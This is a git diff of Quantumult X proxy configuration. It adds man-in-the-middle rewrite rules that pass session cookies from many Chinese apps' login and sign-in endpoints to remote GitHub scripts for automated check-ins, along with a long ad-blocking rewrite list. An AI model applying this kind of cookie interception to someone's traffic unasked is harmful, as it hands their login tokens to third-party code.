+;^https:\/\/huiyuan\.163\.com\/jf\-mall\-api\/api\/sign_up\/(lucky|normal) url script-request-header https://raw.githubusercontent.com/id77/QuantumultX/master/task/163GameVip.cookie.js + +# > 网易严选 +# hostname = +# ^https:\/\/m\.you\.163\.com\/xhr\/points\/index\.json url script-request-header https://raw.githubusercontent.com/chavyleung/scripts/master/yanxuan/yanxuan.cookie.js + +# > 网易云音乐 +# hostname = +^https:\/\/music.163.com\/weapi\/user\/level url script-request-body https://raw.githubusercontent.com/chavyleung/scripts/master/neteasemusic/quanx/neteasemusic.cookie.js + +# > 网易新闻 +# hostname = +^https:\/\/(.*?)c\.m\.163\.com\/uc\/api\/sign\/v3\/commit url script-request-body https://raw.githubusercontent.com/chavyleung/scripts/master/neteasenews/neteasenews.cookie.js + +# > 网易考拉 +# hostname = +^https:\/\/m-bean\.kaola\.com/m/point/sign\.html url script-request-body https://raw.githubusercontent.com/chavyleung/scripts/master/wykl/wykl.cookie.js + +# > 微商星球 +# hostname = +^https:\/\/api\.momosyb\.com\/(v6|v1)\/(fans|user)\/* url script-request-body https://raw.githubusercontent.com/XidNDD/2020scripts/master/wsxqSign.js + +# > 威锋网 +# hostname = +# ^https:\/\/(www\.)?feng\.com\/?.? url script-request-header https://raw.githubusercontent.com/chavyleung/scripts/master/feng/feng.cookie.js + +# > 蔚来 +# hostname = +^https:\/\/app\.nio\.com\/api\/1\/app\/daily_checkin url script-request-header https://raw.githubusercontent.com/chavyleung/scripts/master/nio/nio.cookie.js + + + +# >>>>>>>>>>>>>>> ✅ X ✅ <<<<<<<<<<<<<< +# > 小米运动 +# hostname = +;^https:\/\/account\.huami\.com\/v2\/client\/login url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/xiaomiSports/xmSports.js + +# > 携程 +# hostname = +^https:\/\/m\.ctrip\.com\/restapi\/soa2\/14946\/json\/userBaseInfo url script-request-header https://raw.githubusercontent.com/barrym-chen/Script/master/ctrip/ctrip_cookie.js + +# > 喜马拉雅 +# hostname = +^https?:\/\/.*\/mobile\-user\/(v1\/)?homePage\/.* url script-request-header https://raw.githubusercontent.com/chavyleung/scripts/master/ximalaya/ximalaya.cookie.js + +# > 晓晓优选 +# hostname = xxyx-client-api.xiaoxiaoyouxuan.com +^https:\/\/xxyx-client-api\.xiaoxiaoyouxuan\.com\/my url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cookie/get_cookie.js + + + +# >>>>>>>>>>>>>>> ✅ Y ✅ <<<<<<<<<<<<<< +# > 伊利 +# hostname = +https:\/\/club\.yili\.com\/MALLIFChe\/MCSWSIAPI\.asmx\/Call url script-request-body https://raw.githubusercontent.com/id77/QuantumultX/master/task/yiLi.cookie.js + + + + +# >>>>>>>>>>>>>>> ✅ Z ✅ <<<<<<<<<<<<<< +# > 中国电信 获取Cookie +# hostname = e.dlife.cn, e.189.cn, wapside.189.cn +^https:\/\/(e\.189\.cn\/store\/user|open\.e\.189\.cn\/api\/logbox\/oauth2\/loginSubmit\.do) url script-request-header https://raw.githubusercontent.com/FoKit/Scripts/main/scripts/get_10000_cookie.js +^https:\/\/wapside\.189\.cn:9001\/api\/home\/sign url script-request-body https://raw.githubusercontent.com/chavyleung/scripts/master/10000/10000.cookie.js +^https:\/\/e\.dlife\.cn\/user\/loginMiddle url script-request-header https://raw.githubusercontent.com/dompling/Script/master/10000/index.js + +# > 中国联通 +# hostname = act.10010.com, m.client.10010.com +^https?:\/\/act\.10010\.com\/SigninApp\/signin\/querySigninActivity\.htm url script-request-header https://raw.githubusercontent.com/chavyleung/scripts/master/10010/10010.cookie.js +^https?:\/\/act\.10010\.com\/SigninApp(.*?)\/signin\/daySign url script-request-header https://raw.githubusercontent.com/chavyleung/scripts/master/10010/10010.cookie.js +^https?:\/\/m\.client\.10010\.com\/dailylottery\/static\/(textdl\/userLogin|active\/findActivityInfo) url script-request-header https://raw.githubusercontent.com/chavyleung/scripts/master/10010/10010.cookie.js +# 打开中国联通app --> 首页的流量查询获取Cookie +^https?:\/\/m\.client\.10010\.com\/serviceimportantbusiness\/smart\/smartwisdomCommonNew url script-request-header https://raw.githubusercontent.com/dompling/Script/master/10010/index.js + +# > 中国移动 +# hostname = +;^http:\/\/wx.10086.cn\/website\/taskCenter\/index\? url script-request-header https://raw.githubusercontent.com/chavyleung/scripts/master/10086/10086.cookie.js +;^http:\/\/wx.10086.cn\/website\/taskCenter\/sign\? url script-request-header https://raw.githubusercontent.com/chavyleung/scripts/master/10086/10086.cookie.js + +# > 追书畅读版 +# hostname = +^https:\/\/.+zhuishushenqi\.com\/* url script-request-body https://raw.githubusercontent.com/XidNDD/2020scripts/master/zscdbSign.js + +# > 知音漫客 +# hostname = +^https:\/\/getconfig-globalapi\.zymk\.cn\/app_api\/* url script-request-body https://raw.githubusercontent.com/XidNDD/2020scripts/master/zymkSign.js + +# > 字幕组 +# hostname = +^https?:\/\/(www\.)?rrys2020\.com\/?.? url script-request-header https://raw.githubusercontent.com/chavyleung/scripts/master/zimuzu/zimuzu.cookie.js +^http:\/\/ios.zmzapi.com\/index.php.*a=(mobile_)?login url script-request-header https://raw.githubusercontent.com/chavyleung/scripts/master/zimuzu/zimuzu.cookie.js + +# > 智行火车 +# hostname = +^https:\/\/m\.ctrip\.com/restapi/soa2/14593/json/attendanceDay? url script-request-body https://raw.githubusercontent.com/chavyleung/scripts/master/zxhc/zxhc.cookie.js diff --git a/QuantumultX/rewrite/rewrite.snippet b/QuantumultX/rewrite/rewrite.snippet new file mode 100644 index 00000000..c4aa682d --- /dev/null +++ b/QuantumultX/rewrite/rewrite.snippet @@ -0,0 +1,3848 @@ +#!name=广告拦截合集-重写 +#!desc=(支持约564款APP/小程序)针对部分APP和小程序广告进行拦截,某些APP要清除缓存或者重新安装拦截广告才会生效! +#!author=奶思 +#!homepage=https://github.com/fmz200/wool_scripts +#!icon=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/gif/naisi-01.gif +#!raw-url=https://github.com/fmz200/wool_scripts/raw/main/QuantumultX/rewrite/rewrite.snippet +#!tg-group=https://t.me/lanjieguanggao +#!category=奶思的模块 +#!tag = 去广告, 奶思 +#!system = iOS, iPadOS +#!system_version = +#!loon_version = +#!date=2025-06-27 23:30:17 +#!remark=下方的所有规则都标注了对应的hostname,可能存在错误或者遗漏,欢迎反馈。对于无法/可选MITM的hostname都特别做了“如开启可自行添加主机名”提示,如果提示后面没有标注主机名则包含所有主机名,否则只包含提示语后面的主机名。 +############################################# +# "reject" 策略返回 HTTP 状态码 404,不附带任何额外内容 +# "reject-200" 策略返回 HTTP 状态码 200,不附带任何额外内容 +# "reject-img" 策略返回 HTTP 状态码 200,同时附带 1px gif +# "reject-dict" 策略返回 HTTP 状态码 200,同时附带一个空的 JSON 对象 +# "reject-array" 策略返回 HTTP 状态码 200,同时附带一个空的 JSON 数组 +############################################# +# 常见问题: +# 1️⃣:我知道规则,不知道主机名怎么办? +# ✅:几乎所有的主机名都是从规则中提取出来的,先有的规则再有的主机名 +# 举个栗子:12306的一条规则URL👉🏻^https?:\/\/ad\.12306\.cn\/ad\/ser\/getAdList +# 只需要去掉反斜杠:^https?://ad.12306.cn/ad/ser/getAdList +# 不用再说了吧,ad.12306.cn就是想要的主机名 +# 2️⃣:有些常用的软件为什么没有去广告配置? +# ✅:如果要利用重写去广告,就需要对请求或响应信息进行解密(MITM),现在一些软件已经禁止了MITM,所以就无法去广告。 +############################################# + + +# >>>>>>>>>>>>>>> ✅ # ✅ <<<<<<<<<<<<<< +# > 闲鱼 匹配请求头需要在同一个URL之前匹配到 +# 拦截广告下发 +^http:\/\/amdc\.m\.taobao\.com\/amdc\/mobileDispatch %E9%97%B2%E9%B1%BC* url-and-header reject + + +# >>>>>>>>>>>>>>> ✅ 0 ✅ <<<<<<<<<<<<<< + + + +# >>>>>>>>>>>>>>> ✅ 1 ✅ <<<<<<<<<<<<<< +# > 12123 +# hostname = gab.122.gov.cn +#^https?:\/\/gab\.122\.gov\.cn\/eapp\/m\/sysquery url reject +^https?:\/\/gab\.122\.gov\.cn\/eapp\/m\/sysquery\/adver$ url reject + +# > 12306 +# hostname = ad.12306.cn +^https?:\/\/ad\.12306\.cn\/ad\/ser\/getAdList url script-analyze-echo-response https://raw.githubusercontent.com/kokoryh/Script/master/js/12306.js + + + +# >>>>>>>>>>>>>>> ✅ 2 ✅ <<<<<<<<<<<<<< +# > 21经济网 +# hostname = api.21jingji.com +^https?:\/\/api\.21jingji\.com\/ad\/ url reject + +# > 2345天气王 +# hostname = tianqi.2345.com +# 底下百家号广告 感谢【 🐈‍⬛👮】分享 +^http?:\/\/tianqi\.2345\.com\/api\/content\/getContentFeeds\.php url reject-dict + + + +# >>>>>>>>>>>>>>> ✅ 3 ✅ <<<<<<<<<<<<<< +# > 360儿童卫士 +# hostname = ad.life.360.cn +# 开屏广告 感谢【别怕我又不乱来】分享 +^https?:\/\/ad\.life\.360\.cn\/v2\/app\/advertisement\/config\?sdk_ver= url reject-dict + +# > 36kr +# hostname = gateway.36kr.com +^https?:\/\/gateway\.36kr\.com\/api\/adx\/ad\/show url reject + + + +# >>>>>>>>>>>>>>> ✅ 4 ✅ <<<<<<<<<<<<<< + + + +# >>>>>>>>>>>>>>> ✅ 5 ✅ <<<<<<<<<<<<<< +# > 555影视 +# hostname = vip7.fzwdyy.cn, *.qyfxgd.cn, *.weilai555.com, *.ecoliving168.com +^https?:\/\/vip7\.fzwdyy\.cn:8083\/api\/(getAdvertInfo|getGOOGAdvert) url reject-200 +^https?:\/\/[a-zA-Z0-9-]+(\.[a-zA-Z0-9-]+){1,3}(:\d+)?\/api\/v\d\/advert url reject +^https?:\/\/[a-zA-Z0-9-]+(\.[a-zA-Z0-9-]+){1,3}(:\d+)?\/api\/v\d\/movie\/index_recommend url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/555Ad.js + +# > 51信用卡管家 +# hostname = api.u51.com +^https?:\/\/api\.u51\.com\/(generic-config-gateway|rs-resys)\/api\/v\d\/(creditpage-config|recommend) url reject-200 +^https?:\/\/api\.u51\.com\/liabilitygateway\/api\/v\d\/homepage\/liabilityline url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/51card.js +^https?:\/\/api\.u51\.com\/generic-config-gateway\/api\/v\d\/guanjia\/me-tab2\/config url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/51card.js + +# > 58 +# hostname = *.58cdn.com.cn, app.58.com +^https?:\/\/.+?\.58cdn\.com\.cn\/brandads\/ url reject-200 +^https?:\/\/app\.58\.com\/api\/home\/(advertising|appadv)\/ url reject +^https?:\/\/app\.58\.com\/api\/home\/invite\/popupAdv url reject-200 +^https?:\/\/app\.58\.com\/api\/log\/ url reject + +# > 500 +# hostname = evs.500.com +^https?:\/\/evs\.500\.com\/esinfo\/loading\/loading url reject + + +# >>>>>>>>>>>>>>> ✅ 6 ✅ <<<<<<<<<<<<<< + + + +# >>>>>>>>>>>>>>> ✅ 7 ✅ <<<<<<<<<<<<<< + + + +# >>>>>>>>>>>>>>> ✅ 8 ✅ <<<<<<<<<<<<<< + + + +# >>>>>>>>>>>>>>> ✅ 9 ✅ <<<<<<<<<<<<<< + + + +# >>>>>>>>>>>>>>> ✅ A ✅ <<<<<<<<<<<<<< +# > AcFun +# hostname = aes.acfun.cn, api-new.app.acfun.cn +^https?:\/\/aes\.acfun\.cn\/s\?adzones url reject +^https?:\/\/api-new\.app\.acfun\.cn\/rest\/app\/flash\/screen\/ url reject + +# > AppSo +# hostname = sso.ifanr.com +^https?:\/\/sso\.ifanr\.com\/jiong\/IOS\/appso\/splash\/ url reject + +# > 阿里巴巴 +# hostname = acs.m.taobao.com, heic.alicdn.com, guide-acs.m.taobao.com, poplayer.template.alibaba.com +^https:\/\/acs\.m\.taobao\.com\/gw\/mtop\.fliggy\.crm\.screen\.(allresource|predict) url reject-dict +^https:\/\/acs\.m\.taobao\.com\/gw\/mtop\.alibaba\.advertisementservice\.getadv url reject-dict +^https:\/\/acs\.m\.taobao\.com\/gw\/mtop\.alimama\.etao\.config\.query\/.+?etao_advertise url reject-dict +^https:\/\/acs\.m\.taobao\.com\/gw\/mtop\.alimusic\.common\.mobileservice\.startinit url reject-dict +^https:\/\/acs\.m\.taobao\.com\/gw\/mtop\.etao\.noah\.query\/.+tao_splash url reject-dict +^https:\/\/acs\.m\.taobao\.com\/gw\/mtop\.film\.mtopadvertiseapi\.queryadvertise url reject-dict +^https:\/\/acs\.m\.taobao\.com\/gw\/mtop\.o2o\.ad\.gateway\.get url reject-dict +^https:\/\/acs\.m\.taobao\.com\/gw\/mtop\.taobao\.idle\.home\.welcome url reject-dict +^https:\/\/acs\.m\.taobao\.com\/gw\/mtop\.trip\.activity\.querytmsresources url reject-dict +^https:\/\/heic\.alicdn\.com\/imgextra\/i\d\/\d*\/?[\w!]+-\d-(octopus|tps-1125-1602|tps-1080-1920)\.(jp|pn)g_(1\d{3}|9\d{2})x(1\d{3}|9\d{2})q[59]0 url reject-dict +^https:\/\/guide-acs\.m\.taobao\.com\/gw\/mtop\.cainiao\.adx\.flyad\.getad url reject-dict +^https:\/\/guide-acs\.m\.taobao\.com\/gw\/mtop\.taobao\.(volvo\.secondfloor\.getconfig|wireless\.home\.newface\.awesome\.get) url reject-dict +^https:\/\/guide-acs\.m\.taobao\.com\/gw\/mtop\.cainiao\.guoguo\.nbnetflow\.ads\.mshow url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cainiao/cainiao.js +^https:\/\/guide-acs\.m\.taobao\.com\/gw\/mtop\.taobao\.(cloudvideo\.video\.query|wireless\.home\.splash\.awesome\.get) url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/myBlockAds.js +^https:\/\/poplayer\.template\.alibaba\.com\/\w+\.json url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/myBlockAds.js + +# > 阿里云盘 +# hostname = api.alipan.com, member.alipan.com +^https:\/\/api\.alipan\.com\/adrive\/v1\/file\/getTopFolders url reject-dict +^https:\/\/api\.alipan\.com\/apps\/v2\/users\/home\/(news|widgets) url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/adrive/adrive.js +^https:\/\/member\.alipan\.com\/v1\/users\/onboard_list url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/adrive/adrive.js +^https:\/\/member\.alipan\.com\/v2\/activity\/sign_in_luckyBottle url reject-dict + +# > 爱奇艺 +# hostname = -i.vip.iqiyi.com, *.iqiyi.com +# 播放页开通会员提示 +^https?:\/\/act\.vip\.iqiyi\.com\/interact\/api\/v2\/show\? url reject-dict +# 首页信息流广告 +^https?:\/\/[\d\.]+\/3f1\/cards\.iqiyi\.com\/(views_home\/3\.0\/qy_home|waterfall\/3\.0\/feed)\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js +^https?:\/\/access\.if\.iqiyi\.com\/3f1\/cards\.iqiyi\.com\/(views_category\/3\.0\/category_home|views_home\/3\.0\/qy_home|waterfall\/3\.0\/feed)\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js +^https?:\/\/cards\.iqiyi\.com\/views_category\/3\.0\/(category_home|categorylib_content|film_hybrid)\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js +^https?:\/\/cards\.iqiyi\.com\/(views_home\/3\.0\/qy_home|waterfall\/3\.0\/feed)\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js +# 播放详情页 +^https?:\/\/cards\.iqiyi\.com\/views_plt\/3\.0\/player_tabs_v2\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js +# 搜索页列表 +^https?:\/\/cards\.iqiyi\.com\/views_search\/3\.0\/(hot_query_)?search\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js +# 评论区 +^https?:\/\/comment-card\.iqiyi\.com\/views_comment\/3\.0\/long_video_comments\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js +# 我的页面菜单 +^https?:\/\/iface2\.iqiyi\.com\/aggregate\/3\.0\/getMyMenus\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js +# 首页左上角天气 +^https?:\/\/iface2\.iqiyi\.com\/control\/3\.0\/init_proxy\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js +# 通用控制,各tab页二楼 +^https?:\/\/iface2\.iqiyi\.com\/fusion\/3\.0\/common_switch\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js +# 播放页多余动效 +^https?:\/\/iface2\.iqiyi\.com\/ivos\/interact\/video\/data\? url reject-dict +# 播放页升级白金会员按钮 +^https?:\/\/iface2\.iqiyi\.com\/video\/3\.0\/v_interface_proxy\? url reject-dict +# 底部tab,顶部tab +^https?:\/\/iface2\.iqiyi\.com\/views\/3\.0\/(bottom_theme|home_top_menu)\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js +# 青少年弹窗 +^https?:\/\/iface2\.iqiyi\.com\/views_pop\/3\.0\/pop_control\? url reject-dict +# 搜索框填充词 +^https?:\/\/search\.video\.iqiyi\.com\/q\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js +# 开屏广告,播放广告 +^https?:\/\/(kjp|t7z)\.cupid\.iqiyi\.com\/mixer\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js + +# > 爱企查 +# hostname = b2baifanfan.baidu.com +^https?:\/\/b2baifanfan\.baidu\.com\/crm\/web\/b2b\/im\/common\/getConfigByDeviceNum url reject-200 + +# > 爱回收 +# hostname = gw.aihuishou.com +^https?:\/\/gw\.aihuishou\.com\/app-portal\/home\/getadvertisement url reject + +# > 爱思助手 +# hostname = list-app-m.i4.cn +^https?:\/\/list-app-m\.i4\.cn\/(adclickcb|getHotSearchList|getopfstadinfo)\.xhtml url reject + +# > 爱美剧 +# hostname = api.bjxkhc.com +^https?:\/\/api\.bjxkhc\.com\/index\.php\/app\/ios\/ver/index_ios$ url reject +^https?:\/\/api\.bjxkhc\.com\/index\.php\/app\/ios\/pay/ok$ url reject-dict +^https?:\/\/api\.bjxkhc\.com\/index\.php\/app\/ios\/ads\/ url reject + +# > 爱阅书香 +# hostname = icc.one +^https?:\/\/icc\.one\/iFreeTime\/xid32uxaoecnfv2\/ url reject + +# > 爱桐乡 +# hostname = mapi.txcmapp.com +# 开屏广告 +^https?:\/\/mapi\.txcmapp\.com\/api\/open\/atx2\/ad\.php url reject-200 + +# > 安徽掌上10000 +# hostname = www.ahzs10000.com +^https?:\/\/www\.ahzs10000\.com\/palmhall\/client\/base\/newVerson_getStartUp\.action url reject-200 + +# > 安吉星 +# hostname = www.onstar.com.cn, api.shanghaionstar.com +# 开屏广告 +^https?:\/\/www\.onstar\.com\.cn\/mssos\/sos\/social\/v1\/community\/article\/page url reject-dict +^https?:\/\/api\.shanghaionstar\.com\/sos\/contentinfo\/v1\/public\/landingpage url reject-dict + +# > 澳觅 +# hostname = interface.aomiapp.com +^https?:\/\/interface\.aomiapp\.com\/aomi-ads url reject + + + +# >>>>>>>>>>>>>>> ✅ B ✅ <<<<<<<<<<<<<< +# > Blued +# hostname = social.blued.cn +# 主页推荐直播 +^https?:\/\/social\.blued\.cn\/users\/recommend url reject-dict +# 未登录时个人界面广告 +^https?:\/\/social\.blued\.cn\/users\/no_auth\/benefit url reject-dict +# 登录后个人界面广告 +^https?:\/\/social\.blued\.cn\/users\/.+\/more\/ios\?v=2 url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/blued.js + +# > 半月谈 +# hostname = www.banyuetanapp.com +# 开屏广告 +^https?:\/\/www\.banyuetanapp\.com\/byt-api\/ad\/getAdvertList\?adSpaceId=100000002 url reject-200 + +# > 宝宝树孕育 +# hostname = aimg.babytreeimg.com, plough.babytree.com, mapiweb.babytree.com, go.babytree.com +^https?:\/\/aimg\.babytreeimg\.com\/group1\/M00\/*\/*\/.*.jpg url reject-200 +# 开屏广告 感谢【alist.choc.ga】分享 +^https?:\/\/plough\.babytree\.com\/plough\.do url reject-200 +# 弹窗广告 感谢【Ron】分享 +^https?:\/\/mapiweb\.babytree\.com\/newapi\/luban\/behavior\/receive url reject-200 +^https?:\/\/go\.babytree\.com\/go_pregnancy\/api\/index_activity\/get_app_index_activity url reject-200 +^https?:\/\/go\.babytree\.com\/go_tool\/api\/feeding_record\/get_home_banner_info url reject-dict + +# > 北京银行 +# hostname = cdnmobibank.bankofbeijing.com.cn +^https?:\/\/cdnmobibank\.bankofbeijing\.com\.cn\/cdn\/MarketingCloud\/.+\/.+\/99_1\/.+\.jpg url reject-200 +# > 掌上京彩 +# hostname = cdn-xyk-app.bankofbeijing.com.cn +^https?:\/\/cdn-xyk-app\.bankofbeijing\.com\.cn\/cdn\/resource\/image\/advertise url reject-200 + +# > 百度地图 +# hostname = dss0.bdstatic.com, tb1.bdstatic.com, tb2.bdstatic.com, ss0.bdstatic.com, gss0.bdstatic.com, newclient.map.baidu.com +^https?:\/\/dss0\.bdstatic\.com\/-0U0bnSm1A5BphGlnYG\/ url reject-200 +^https?:\/\/dss0\.bdstatic\.com\/.+/tam-ogel\/.+\.(jpg|mp4) url reject +^https?:\/\/tb1\.bdstatic\.com\/tb\/cms\/ngmis\/adsense\/*.jpg url reject +^https?:\/\/tb2\.bdstatic\.com\/tb\/mobile\/spb\/widget\/jump url reject-img +^https?:\/\/ss0\.bdstatic\.com/.+?_\d{3}_\d{4}\.jpg url reject-200 +^https?:\/\/gss0\.bdstatic\.com\/.+?\/static\/wiseindex\/img\/bd_red_packet\.png url reject-img +^https?:\/\/newclient\.map\.baidu\.com\/client\/phpui2\/\?qt=ads url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/baidumap.js + +# > 百度输入法 +# hostname = r6.mo.baidu.com, res.mi.baidu.com, mime.baidu.com, mbd.baidu.com +^https?:\/\/r6\.mo\.baidu\.com\/res\/file/advertisement\/files\/.+\.jpg url reject +^https?:\/\/res\.mi\.baidu\.com\/imeres\/ime-res\/advertisement\/files\/.+\.jpg url reject +^https?:\/\/mime\.baidu\.com\/v5\/activity\/advertisementnonrealtime url reject +^https?:\/\/mime\.baidu\.com\/v5\/start_screen_ads\/list url reject +^https?:\/\/mime\.baidu\.com\/v5\/hotpatch\/check\?hotpatch url reject +# 净化 个人页随机图片 +#^https?:\/\/mime\.baidu\.com\/(imrobot\/v1\/pub\/relation\/get_robot_list|v5\/custom_page\/(layout|getdata)) url script-response-body https://raw.githubusercontent.com/Keywos/rule/main/JS/bdsrf.js +# 百度输入法开屏 +^https?:\/\/mime\.baidu\.com\/v5\/start_screen_ads/list url reject-dict +# 应用内灵感语录 输入页面推荐里语录 +^https?:\/\/mime\.baidu\.com\/sapi\/v1\/lccorpus\/(applist|pannellist) url reject-dict +# 输入法点击图标 +^https?:\/\/mime\.baidu\.com\/sapi\/v1\/circle\/joinedlist url reject-dict +^https?:\/\/mime\.baidu\.com\/commer\/pocket_api\/enterprise_list url reject-dict +^https?:\/\/mbd\.baidu\.com\/ccs\/v1\/start\/confsync\?appname=baidu_input url reject-dict + +# > 百度网盘 +# hostname = pan.baidu.com, ndstatic.cdn.bcebos.com, staticsns.cdn.bcebos.com, issuecdn.baidupcs.com, update.pan.baidu.com, fc-video.cdn.bcebos.com, rp.hpplay.cn +^https?:\/\/pan\.baidu\.com\/rest\/\d\.\d\/pcs\/adx url reject +^https?:\/\/pan\.baidu\.com\/rest\/2\.0\/pcs\/ad url reject +^https?:\/\/pan\.baidu\.com\/act\/v\d\/(bchannel|welfare)\/list url reject +^https?:\/\/pan\.baidu\.com\/act\/api\/activityentry url reject +^https?:\/\/pan\.baidu\.com\/pmall\/order\/privilege\/info url reject +^https?:\/\/pan\.baidu\.com\/rest\/.+\/pcs\/adx url reject +^https?:\/\/pan\.baidu\.com\/api\/useractivity\/activity url reject +^https?:\/\/pan\.baidu\.com\/act\/.+\/bchannel\/list url reject +^https?:\/\/pan\.baidu\.com\/api\/certuser\/get url reject +^https?:\/\/pan\.baidu\.com\/component\/view\/(1510|1130)\?vip url reject +^https?:\/\/ndstatic\.cdn\.bcebos\.com\/activity\/welfare\/js\/.+\.js url reject +^https?:\/\/ndstatic\.cdn\.bcebos\.com\/activity\/welfare\/index\.html url reject +^https?:\/\/staticsns\.cdn\.bcebos\.com\/amis\/.+/banner.png url reject +^https?:\/\/issuecdn\.baidupcs\.com\/issue\/netdisk\/guanggao url reject +^https?:\/\/update\.pan\.baidu\.com\/statistics url reject +^https?:\/\/fc-video\.cdn\.bcebos\.com url reject +^https?:\/\/rp\.hpplay\.cn\/logouts url reject + +# > 百度贴吧 +# hostname = tiebac.baidu.com, *.tieba.baidu.com +^http(s:\/\/tiebac|:\/\/c\.tieba)\.baidu\.com\/(c\/f\/(frs\/(page|threadlist|generalTabList)|pb\/page|excellent\/personalized)$|tiebaads\/commonbatch|c\/s\/sync$) url script-response-body https://raw.githubusercontent.com/app2smile/rules/master/js/tieba-json.js +^http(s:\/\/tiebac|:\/\/c\.tieba)\.baidu\.com\/c\/f\/(frs\/(page|threadlist|generalTabList)|pb\/page|excellent\/personalized)\?cmd url script-response-body https://raw.githubusercontent.com/app2smile/rules/master/js/tieba-proto.js + +# > 百度翻译 +# hostname = mime.baidu.com +^https?:\/\/mime\.baidu\.com\/v\d\/IosStart\/getStartInfo url reject +^https?:\/\/mime\.baidu\.com\/v\d\/activity\/advertisement url reject + +# > 百度文库 +# hostname = appwk.baidu.com +^https?:\/\/appwk\.baidu\.com\/xpage\/interface\/wknaad url reject-200 + +# > 百度 +# hostname = www.baidu.com, fcvbjbcebos.baidu.com, cover.baidu.com, baichuan.baidu.com, api*.tuisong.baidu.com, afd.baidu.com, mobads.baidu.com, issuecdn.baidupcs.com, update.pan.baidu.com, sa*.tuisong.baidu.com, m.baidu.com, sofire.baidu.com +^https?:\/\/fcvbjbcebos\.baidu\.com\/.+.mp4 url reject +^https?:\/\/fcvbjbcebos\.baidu\.com\/.+?\.mp4 url reject-img +^https?:\/\/cover\.baidu\.com\/cover\/page\/dspSwitchAds\/ url reject +^https?:\/\/baichuan\.baidu\.com\/rs\/adpmobile\/launch url reject +^https?:\/\/baichuan\.baidu\.com\/rs\/adpmobile\/launch url reject-img +^https?:\/\/api\d\.tuisong\.baidu\.com url reject-img +^https?:\/\/afd\.baidu\.com\/afd\/entry url reject +^https?:\/\/afd\.baidu\.com\/afd\/entry url reject-img +^https?:\/\/als\.baidu\.com\/clog\/clog url reject +^https?:\/\/mobads\.baidu\.com\/cpro\/ui\/mads.+ url reject +^https?:\/\/issuecdn\.baidupcs\.com\/issue\/netdisk\/guanggao\/ url reject-200 +^https?:\/\/[\s\S]*\.baidu\.com/.*?ad[xs]\.php url reject-img +^https?:\/\/t\d{2}\.baidu\.com url reject-img +^https?:\/\/update\.pan\.baidu\.com\/statistics url reject +^https?:\/\/log.+?baidu\.com url reject +^https?:\/\/sa\d\.tuisong\.baidu\.com url reject-img +^https?:\/\/www.baidu.com\/?action=static&ms=1&version=css_page_2@0.*? url reject + +# > 百信银行 +# hostname = mres.aibank.com +^https?:\/\/mres\.aibank\.com\/app\/resource\/cim\/cim0000001\/.+\.jpg url reject-200 + +# > 哔哩哔哩 +# hostname = app.bilibili.com, api.bilibili.com, api.live.bilibili.com, grpc.biliapi.net +^https:\/\/api\.live\.bilibili\.com\/xlive\/e-commerce-interface\/v1\/ecommerce-user\/get_shopping_info\? url reject-dict +#^https:\/\/ap[ip]\.bilibili\.com\/x\/(?:resource\/(?:top\/activity|patch\/tab)|v2\/search\/square|vip\/ads\/materials)\? mock-response-body data-type=text status-code=200 data="{"code":-404,"message":"-404","ttl":1,"data":null}" +#^https:\/\/api\.bilibili\.com\/pgc\/activity\/deliver\/material\/receive\? mock-response-body data-type=text status-code=200 data="{"code":0,"data":{"closeType":"close_win","container":[],"showTime":""},"message":"success"}" +#^https:\/\/(?:grpc\.biliapi\.net|app\.bilibili\.com)\/bilibili\.app\.interface\.v1\.Teenagers\/ModeStatus$ mock-response-body data-type=base64 data="AAAAABMKEQgCEgl0ZWVuYWdlcnMgAioA" mock-data-is-base64=true +#^https:\/\/(?:grpc\.biliapi\.net|app\.bilibili\.com)\/bilibili\.app\.interface\.v1\.Search\/DefaultWords$ mock-response-body data-type=base64 data="AAAAACkaHeaQnOe0ouinhumikeOAgeeVquWJp+aIlnVw5Li7IgAoAToAQgBKAA==" mock-data-is-base64=true +#^https:\/\/(?:grpc\.biliapi\.net|app\.bilibili\.com)\/bilibili\.app\.view\.v1\.View\/TFInfo$ mock-response-body data-type=base64 data="AAAAAAIIAQ==" mock-data-is-base64=true + +^https:\/\/api\.bilibili\.com\/pgc\/view\/v2\/app\/season\? url jsonjq-response-body 'del(.data.payment)' +^https:\/\/api\.bilibili\.com\/pgc\/page\/(?:bangumi|cinema\/tab)\? url jsonjq-response-body '.result.modules |= if . then map(if (.style | startswith("tip")) or (.module_id | IN(241, 1283, 1441, 1284)) then .items = [] elif .style | startswith("banner") then .items |= if . then map(select(.link | contains("play"))) else [] end elif .style | startswith("function") then .items |= if . then map(select(.blink | startswith("bilibili"))) else [] end end) end' 